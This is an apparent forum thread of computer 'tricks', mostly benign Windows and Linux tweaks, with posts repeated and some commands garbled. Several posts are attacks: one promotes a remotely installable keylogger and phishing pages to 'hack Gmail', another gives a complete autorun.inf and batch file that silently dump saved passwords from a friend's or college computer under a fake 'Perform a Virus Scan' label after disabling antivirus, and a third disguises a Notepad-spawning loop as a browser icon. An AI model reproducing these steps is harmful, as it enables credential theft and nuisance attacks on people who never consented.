    WAIT UNTIL YOU HEAR A BEEP SOUND after the following message “Please dial the phone number country code first, don’t forget to dial 1 for north America”
    After you hear this message ,immediately dial the destination number of your choice along with the country code.(e.g. for north America it’s 1 and for India it’s 91)
    Your call will get connected and you can talk for 7 minutes continuous for free. When it gets disconnected, repeat the same procedure again. You can make multiple and unlimited calls with this service.
    It was never easy to make a free international call like this before.
    So what’s the catch?
    FREE411 service toll-free number is based in USA. This company gets paid for the advertisements from sponsors.
    Are there any limits on the number of call which we can make?
    No. There is no limit on the number of free calls which can be made through this system.
    So enjoy this trick to make free international and local calls and make sure you don’t abuse the system.

    Find who is Invisible on Yahoo messenger.


    Sometimes some of your friends who appear offline in yahoo messenger may not be actually offline, they may in the 'Invisible' mode. This maybe if they are trying to ignore you or are too busy to talk to anyone.

    There is this small trick that you can use to find out what the truth is.

    Firstly open your yahoo messenger main window and double click on the name of the person whom you want to check. The chat window will open obviously.
    Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.
    After loading the Doodle imvironment there can be two possibilities

    1.If the user is offline Doodle are will show this "waiting for your friend to load Doodle" continuously .See in the picture below:

    [​IMG]
    2. If the user is online (but in invisible mode), after few seconds (it can take up to one minute, depending on your connection speed), you should get a blank page like in the picture below. So you know that the user is online.

    How to Make an Autorun CD?


    Have you ever noticed whenever you insert any game or software CD (consider Windows XP Operating system) it automatically runs the CD.
    If you want to make the same type of autorun CD than you have to open notepad file and write the following code in it.
    [autorun]
     
    OPEN=INSTALL\Setup_filename.EXE
    Here “Setup_filename.EXE” MUST be replaced with the name of the setup file. And also remember that it is not all of the setup files there are called “.exe” but some are called “.msi”
    Now save it as a “.inf” file not as a “.txt” file. Burn your CD with the autorun.inf file included and set the CD in your CD-drive and waits for the autorun to begin or if nothing happens just double-click on the CD drive.

    Easiest Way to Hack Gmail

    The easiest way to hack Gmail is through keylogging. It is done using a small program/software called keylogger. This keylogger when installed on any computer will capture each and every keystroke including passwords. Also it works in complete stealth mode by completely hiding itself. So installing a keylogger on the computer is the easiest way to hack Gmail. Once the victim logs into his Gmail account from this computer his Gmail username & password are captured and stored instantly. The stored logs are sent to you via email. But what if you do not have physical access to the computer? Well, still you need not worry since I am going to suggest one of the best keylogger program that support installation on a local computer as well as a remote computer. The following supports remote installation as well.
    SniperSpy

    So to hack any Gmail account all you need to do is install the keylogger on the computer from which the victim is likely to login to his Gmail account. If you do not have physical access then you need to use the remote installation feature to remotely deploy the kelogger.

    Other ways to Hack Gmail

    The other most commonly used trick to hack Gmail is using a Fake Login Page (also called as Phishing). Today, Fake login pages are the most widely used techniques to hack Gmail. A Fake Login page is a page that appears exactly as a Login page of sites like Yahoo, Gmail etc. But once we enter our password there, we end up loosing it.
    However creating a fake login page and taking it online to successfully hack a Gmail password is not an easy job. It demands an in depth technical knowledge of HTML and scripting languages like PHP, JSP etc. So if you are new to the concept of hacking passwords, then I recommend using the keyloggers to hack Gmail since it’s the easiest way.

    How to Make START menu option works faster ( Making start load faster)


    This is one of my favorite posts as it makes a huge difference to how fast your machine will 'feel'. What this does is remove the slight delay between clicking on a menu and XP displaying the menu.

    Go to Start then Run
    Type 'Regedit' then click 'Ok'
    Find "HKEY_CURRENT_USER\Control Panel\Desktop\"
    Select "MenuShowDelay"
    Right click and select "Modify'
    Reduce the number to around "100"
    This is the delay time before a menu is opened. You can set it to "0" but it can make windows really hard to use as menus will open if you just look at them - well move your mouse over them anyway. I tend to go for anywhere between 50-150 depending on my mood.

    Sometimes some of your friends who appear offline in yahoo messenger may not be actually offline, they may in the 'Invisible' mode. This maybe if they are trying to ignore you or are too busy to talk to anyone.

    There is this small trick that you can use to find out what the truth is.

    Firstly open your yahoo messenger main window and double click on the name of the person whom you want to check. The chat window will open obviously.
    Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.
    After loading the Doodle imvironment there can be two possibilities

    1.If the user is offline Doodle are will show this "waiting for your friend to load Doodle" continuously .See in the picture below:
    [​IMG]
    2. If the user is online (but in invisible mode), after few seconds (it can take up to one minute, depending on your connection speed), you should get a blank page like in the picture below. So you know that the user is online.
    [​IMG]
    Check this link for finding invisible users on YM. It shows correct status.
    #-Link-Snipped-#

    It has facebook detector too, which detects if a particular email-id holds a facebook account. I think it shows wrong status.

    Cool..
    I see you have posted some nice tricks here. 👍 Will try them out.
    Even I had once attended a Hacking workshop, and they taught us a few tricks. But I think I forgot most of them. 👀 Should open my notebook and check them.

    BIND FILES USING COMMAND PROMPT

    This is a simple command prompt ( cmd ) trick. You can hide your files behind jpeg image. You will only need winrar and a little knowledge of dos commands.
    just follow these steps

    step 1- create a folder and copy all files in the folder you wanted to hide in a image file.(EX- c:\hidden)
    step 2- create a rar archive of these files.(EX- secret.rar)
    step 3- copy a image file in the same folder. (EX: image.jpeg)
    step 4- open cmd and go to the directory of the folder.(c:\hidden> )
    step 5- run this command. copy /b image.jpeg+secret.rar output.jpeg

    here image.jpeg is the image in which you want to hide you files. secret.rar is the archive of those files which you want to hide in the image. output.jpeg is name of the output image file.

    Now you can open output.jpeg by double click. It will open as a image file and will show the preview of the image. If you want to see the files hidden inside the image, open this image output.jpeg using winrar.

    This trick will allow you to create files and folders without any name.
    Just follow the following steps:
    1.Select any file or folder.
    2.Right click on it, press rename or simply press F2.
    3.Press and hold the alt key. While holding the Alt key, type numbers 0160 from the numpad.
    Note: Type the numbers 0160 from the numpad, that is, the numbers present on the right side of the keyboard. Don’t type the numbers which are present on top of the character keys.
    4.Press Enter and the nameless file or folder will be created.
    Reason: The file or folder that seems nameless is actually named with a single space.

    how to hack Passwords using an USB Pen Drive. As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.

    MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

    Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
    Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

    IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0

    Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of password-protected sites, MSN Explorer Passwords, and more…

    PasswordFox: PasswordFox is a small Password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, password, User Name Field, password Field, and the Signons filename.

    Here is a step by step procedre to create the password hacking toolkit.

    NOTE: You must temporarily disable your antivirus before following these steps.

    1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

    ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

    2. Create a new Notepad and write the following text into it

    [autorun]
    open=launch.bat
    ACTION= Perform a Virus Scan

    save the Notepad and rename it from

    New Text Document.txt to autorun.inf

    Now copy theautorun.inf file onto your USB pendrive.

    3. Create another Notepad and write the following text onto it.

    start mspass.exe /stext mspass.txt

    start mailpv.exe /stext mailpv.txt

    start iepv.exe /stext iepv.txt

    start pspv.exe /stext pspv.txt

    start passwordfox.exe /stext passwordfox.txt

    save the Notepad and rename it from

    New Text Document.txt to launch.bat

    Copy the launch.bat file also to your USB drive.

    Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps

    1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

    2. In the pop-up window, select the first option (Perform a Virus Scan).

    3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

    4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

    This hack works on Windows 2000, XP,Vista and 7

    NOTE: This procedure will only recover the stored passwords (if any) on

    Do you have any trick by which you can remind a computer user to eject the pendrive before actually ejecting it from the USB port.

    There is a setting for the USB drives which tells the OS how to optimize their usage. Either it is optimized for Quick Removal or for Performance. To check it, do the following:

    Right click on the USB drive icon in My Computer
    Select the Hardware tab.
    Select your USB drive and click on Properties.
    Now click on Policies tab.

    Check the Button or select the Button where its written
    Optimize for Quick removal
    This setting disables write caching on the disk so that you can disconnect this drive without using the Safely Remove Hardware icon. and click ok... you are all set.

    This is the best way as per my understanding ... and after Enabling this option If you unplug an idle USB device without safely ejecting/removing it, the device & its content will be perfectly fine.
    But if you try to do that with a USB device that is still transferring data (or being used as RAM), then your data in the device is likely to get corrupted, but chances for malfunctioning of the device are still low

    Okay.
    But what if I want to save data from the disk to the drive?
    Or if I want to move data from the pendrive to the disk?

    Like, is there a way to show a pop-up message / reminder for the drive?

    There should be a software which will tell the user (especially users who do not know how to operate the system well) to STRICTLY perform the following before ejecting the drive:
    1. Close the drive folder.
    2. Check for data transmission completion.
    3. Check if files of the drive are open.
    4. Lastly, click the 'Safely Remove Hardware' icon. Select the respective drive and ONLY THEN the user can EJECT the pendrive.

    You think this is possible?

    I'm done telling my sister to be careful about this issue. 😔

    Yeah, that helps! 😀

    But this reminder won't perform the 4 things I mentioned in my earlier post, right? 😕

    I mean, I want the Computer to refuse to let the pendrive be ejected unless the 4 things are performed.

    I want the Computer to hold it from inside ( 😛 😡 ) + the reminder job = What I want! 😀

    Hide your stuffs using ATTRIB command. only antivirus while scanning can show the path other wise no way until someone knows name of folder/file

    ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]
    + Sets an attribute.
    - Clears an attribute.
    R Read-only file attribute.
    A Archive file attribute.
    S System file attribute.
    H Hidden file attribute.
    /S Processes files in all directories in the specified path.
    /D
    Process folders as well.


    open command prompt and to parent directory of the folder

    C:/>: ATTRIB +h +r +s .
    now your folder is hidden and not show even by selecting show hidden folder and files.
    to access go to patent directory of that folder and in explorer path add following.

    c:/.
    Now you are in your folder.
    to always show that folder to everyone use :ATTRIB -s -h -a -r /s /d.

    have fun.

    Change the Default Location for Installing Programs
    XP uses the C:/Program Files directory as the default base directory into which new programs are installed. However, you can change the default installation drive and/or directory by using a Registry hack. Run the
    Registry Editor and go to
    HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion
    Look for the value named ProgramFilesDir. By default, the value will be C:/Program Files. Edit the value to any valid drive
    or folder; XP will use that new location as the default installation directory for new programs.

    I surely going to use this tip because my C drive is crying everyday "low disk space".

    Locking Folders without any third party software
    Consider you want to lock a folder named in your E:\, whose path is E:\.
    Now open the Notepad and type the following

    ren .{21EC2020-3AEA-1069-A2DD-08002B30309D}

    Where is your folder name. Save the text file as loc.bat in the same drive.
    Open another new notepad text file and type the following

    ren .{21EC2020-3AEA-1069-A2DD-08002B30309D}

    Save the text file as key.bat in the same drive.
    Steps to lock the folder:

    To lock the folder, simply click the loc.bat and it will transform into control panel icon which is inaccessible.
    To unlock the folder click the key.bat file. Thus the folder will be unlocked and the contents are accessible

    PS: This is not worked fine in my system. But My Friend still arguing with me that this trick is working fine for him. So I thought Posting it here will be useful for others.

    The JavaScript library is known as jQuery, and can be used very easily with Struts 2 Framework.The #-Link-Snipped-# Plugin has several extension points designed to allow users to extend the built-in logic with custom widgets, custom publish/subscribe topics & handlers, and customizations to existing widget/component behaviour.

    The framework provides four explicit extension points:

    Implementing custom subscribe/publish topics and handlers - Using the publish/subscribe framework users can create new topics, subscribe custom topic handlers to topics,and publish topics arbitrarily in custom javascript code
    Implementing and binding custom widgets - Using the provided binding functions, users can register custom widgets and bind instances of them with the framework
    Implementing custom pre-binding function for existing components - A simple hook into the binding process to allow users to customize the binding functionality
    Implementing custom post-binding function for existing components - A simple hook into the binding process to allow users to customize the binding functionality

    ReadyBoost can speed up your computer by using storage space on most USB flash drives and flash memory cards.

    Watch this video to learn how to turn ReadyBoost on or off for a storage device (1:32)To turn ReadyBoost on or off
    1.Plug a flash drive or flash memory card into your computer.

    2.In the Autoplay dialog box, under General options, click Speed up my system.

    3.In the Properties dialog box, click the ReadyBoost tab, and then do one of the following:

    •To turn ReadyBoost off, click Do not use this device.

    •To use the maximum available space on the flash drive or memory card for ReadyBoost, click Dedicate this device to ReadyBoost. Windows will leave any files already stored on the device, but it'll use the rest to boost your system speed.

    •To use less than the maximum available space on the device for ReadyBoost, click Use this device, and then move the slider to choose the amount of available space on the device you want to use.

    4.Click OK.

    Move the slider to choose how much space you want to designate for boosting your system speed.Notes
    •If AutoPlay doesn't open, it might be disabled. For more information, see Troubleshoot AutoPlay problems.

    •For ReadyBoost to effectively speed up your computer, the flash drive or memory card should have at least 1 gigabyte (GB) of available space.

    Unlock / Enable root account in Ubuntu


    #1 : Open Terminal (Ctrl+Alt+t) and type the command.
    sudo passwd root
    #2 : Then you will be asked to enter your login password, followed by the password of ROOT account (enter new UNIX password). Enter it twice, and if everything is ok, then you will get a confirmation message (look at the snapshot of terminal : below).
    3 : Now, it’s the time to test root login in gui mode. To do that – simply logout from the current session and select root as user, and enter the password (entered in above step). That’s all, enjoy root mode (be careful) and return back to your normal user account as soon as possible.

    logging in linux as root is nothing bad. yeah, if you are not aware of linux , you might harm. but it's not like "come back as soon as possible". Being in root, you will have full access to core of your OS , that's it. Some distros like fedora don't allows sudo so you have to forcefully stay logged as in root inorder to install/uninstall/tweak with your applications or .conf files.

    Infinite Notepad Trick

    All people with interest in computer programming know about infinite loop. And that's what we gonna use
    here.

    echo off
    :hahaha
    start notepad.exe
    goto hahaha

    And save it as a .bat file. Best way to fool people is to change the icon to some other
    application like internet explorer that no one will doubt before clicking.
    This can be stopeed once you restart your system. You can even try giving the path of any other .exe.

    Now open the Notepad and type the following

    ren .{21EC2020-3AEA-1069-A2DD-08002B30309D}

    Where is your folder name. Save the text file as loc.bat in the same drive.

    Making Script file in RHEL5 to take back up(with picking automatically current date of system).😀
    1.make a folder where you want to take backup here for example I made a folder named mybackup on Desktop.
    2.open a text editor and write this code in it
    #!/bin/bash
    mysqldump -u root -p ABCdb > /root/Desktop/mybackup/BK 'date+%d%m%y'.sql

    2.save as this file with extension .sh and exit

    3. when you run this script file automatically backup will create in mybackup folder on desktop with name BK(followed by current date)
    (((here mysqldump -u -p is sql command ABCdb is database of which you wana to take backup,BK is backup file name associated with current date of system given by 'date+%d%m%y' syntax.)))

    take care 😉

    Locking Folders without any third party software
    Consider you want to lock a folder named in your E:\, whose path is E:\.
    Now open the Notepad and type the following

    ren .{21EC2020-3AEA-1069-A2DD-08002B30309D}

    Where is your folder name. Save the text file as loc.bat in the same drive.
    Open another new notepad text file and type the following

    ren .{21EC2020-3AEA-1069-A2DD-08002B30309D}

    Save the text file as key.bat in the same drive.

    To lock the folder, simply click the loc.bat and it will transform into control panel icon which is inaccessible.
    To unlock the folder click the key.bat file. Thus the folder will be unlocked and the contents are accessible

    Locking Folders without any third party software
    Consider you want to lock a folder named in your E:\, whose path is E:\.
    Now open the Notepad and type the following

    ren .{21EC2020-3AEA-1069-A2DD-08002B30309D}

    Is it possible that I delete the key.bat and loc.bat file from that location and keep a copy of that file onmy pendrive. So every time I past that files there and open folder. It give privacy without risk that somebody just click on key and open it.

    Where is your folder name. Save the text file as loc.bat in the same drive.
    Open another new notepad text file and type the following

    ren .{21EC2020-3AEA-1069-A2DD-08002B30309D}

    Save the text file as key.bat in the same drive.
    Steps to lock the folder:

    To lock the folder, simply click the loc.bat and it will transform into control panel icon which is inaccessible.
    To unlock the folder click the key.bat file. Thus the folder will be unlocked and the contents are accessible

    PS: This is not worked fine in my system. But My Friend still arguing with me that this trick is working fine for him. So I thought Posting it here will be useful for others.

    How to Rename Multiple Files in Once



    Many of us have multiple files in hard drive. Most of them fed up to rename their multiple files. So here is the trick to rename multiple files in once.

    In this trick the name will be same but all the files have continuous numbers with the file name.

    * Select all the files you wish to rename. ( Use CTRL+A to select all the files or Hold CTRL key and select your files).

    * After selecting the files press F2. (F2 is shortcut for rename).


    * After that enter your file name and hit enter. Then you will see your selected all files will be renamed with continuous names.

    Hello freind now i tell U aboutto Hide folder without any software,

    Guys, as you can guess with this trick you can make your folders invisible without using any sophisticated software. This is a very unusual & easy trick to make your private folders invisible to others.

    A folder contains two parts;
    an icon
    a name.

    So to make the folder invisible you will have to make both the icon & the name invisible.
    Making The Name Invisible:
    Select the folder which you want to make invisible. Press F2 key then type ALT+0160 and hit enter key. You will notice that the name of the folder has become invisible. See the snapshot below.


    Making The Icon Invisible:
    Right click on the folder whose name you made invisible. Go to Properties, then go to the Customize tab. Then click on the Change Icon button. Select any blank icon there. Remember there will be many blank icons (see snapshot). Just choose any one. Click OK.


    Your folder is now invisible! Now only you know where the folder is located.



    Thanking You!!!!!!!!!!!!!! for watching and i more happy when U do this.....

    this can also be done through two simple steps.
    1. go to My Computers --> tools--> folder option --> on view tab - select hidden files & Folders

    2. Uncheck "Hide protected operating system files [Recommended]" (visible just below the hidden files & folder option)

    & you'r done. u have access to all your folders & files of all your external memory devices.

    This trick will allow you to create files and folders without any name.
    Just follow the following steps:
    1.Select any file or folder.
    2.Right click on it, press rename or simply press F2.
    3.Press and hold the alt key. While holding the Alt key, type numbers 0160 from the numpad.
    Note: Type the numbers 0160 from the numpad, that is, the numbers present on the right side of the keyboard. Don’t type the numbers which are present on top of the character keys.
    4.Press Enter and the nameless file or folder will be created.
    Reason: The file or folder that seems nameless is actually named with a single space.

    Windows 7 made it a little easier to create new folders in Windows Explorer.
    Create a new untitled folder right where you are. The new folder will appear with the name ‘New folder’ already highlighted so you can type in your own name for it and hit Enter to move on to the next task.

    Windows + M
    Press Windows + M to instantly minimize all current windows to the Taskbar. It’s a great way to restore your sanity, and an even better way to hide what you’re working on from unexpected interlopers. When you want all the windows back again, press Windows + Shift + M and every currently running window will pop open again.

    How about running Linux commands in the normal MS Windows command prompt? For example using ls for viewing the contents of a directory or perhaps using vi or vim to edit a file? 😀

    All you need to do is create a batch file that maps ls or vi to the corresponding command in Windows. Do this for a vi style editor:

    1. Open Notepad.
    2. Type the following code:
    #-Link-Snipped-# off
    edit %1

    3. Save the file as ls.bat. While saving ensure you set the "save as type" to 'All files'.
    4. Now copy the ls.bat file to C:\Windows\System32\ folder (you'll need admin access for this).

    You're done. Now open up Windows command prompt, navigate to a folder where you have some text files and use vi filename to open that file.

    Similar approach applies to other linux commands as well (ls -> dir & vim -> notepad). I usually like working on Linux but since I'm forced to work on Windows in the office I thought I'd make my life a little easier. 😀

    **This should work till Windows 7, I'm not sure about about 8 and above.**

    Ethernet Card

    Most laptops will have this integrated into the motherboard, and some will have an extension board that connects to the motherboard. Used for internet access or networking purposes, every laptop will have one of these on it, whether integrated or a card.
    Hi #-Link-Snipped-#, you have any tips you can share regarding the ethernet card? I think there are options on how to tweak the NIC settings for optimal performance, depending on your traffic profile.

    1. Open your notepad
    2. Type or copy paste: CreateObject(“SAPI.SpVoice”).Speak”Friend"
    3. On the Notepad, click File > Save As, and save the Notepad file with filename: “Friend.vbs” in the desktop location (please include the quotation marks in the File name to prevent notepad from saving it to “Friend.vbs.txt” instead of “Friend.vbs”).
    4. Wherever you save the file , you should see the Friend.vbs file with the icon of VBS file on the desktop. If you see a notepad icon for the file, you might need to re-save the file as “Friend.vbs” (with the quotation mark “”).
    5. Now, double click on the file to run it, and you should hear your PC saying “Friend”. So, if it is a female voice, it means that your PC is a female, and if it is male voice, your PC is male. My PC is a female….😀

    To reduce computer-related eye strain, try these top 10 tips:
    1. Use dark text on a light background - ideally black text on a white background.
    2. Make sure your monitor is in focus and that the brightness of its screen matches the brightness of the surrounding room.
    3. Cut down on distracting reflections and glare on your monitor with an anti-reflective screen.
    4. Avoid bright overhead lighting shining directly on your monitor screen. Ideal office lighting is indirect and of a lower wattage.
    5. The straight-ahead eye position many computer users use is unnatural. Instead, adjust your monitor so that the center of your screen is 7 to 10 inches below your horizontal line of sight.
    6. "Flickering" of the screen also can cause eye strain. Work with a monitor with refresh rates of at least 60 hertz, preferably more.
    7. Computer use often entails intense concentration. Be sure to blink and breathe regularly to ensure that eyes remain moist and eye muscles relaxed.
    8. Every 10 to 20 minutes, give your eyes a brief (20-30 second) break during which you look away from your screen and focus instead on an object in the distance.
    9. Every hour or so, stand up and get away from your computer for 5 minutes or so.
    10. If you still are experiencing computer-related vision problems, talk to your eye care professional about glasses or contacts tailored specifically for heavy computer users (often these are tinted light pink to compensate for the fluorescent office light), or a vision therapy program
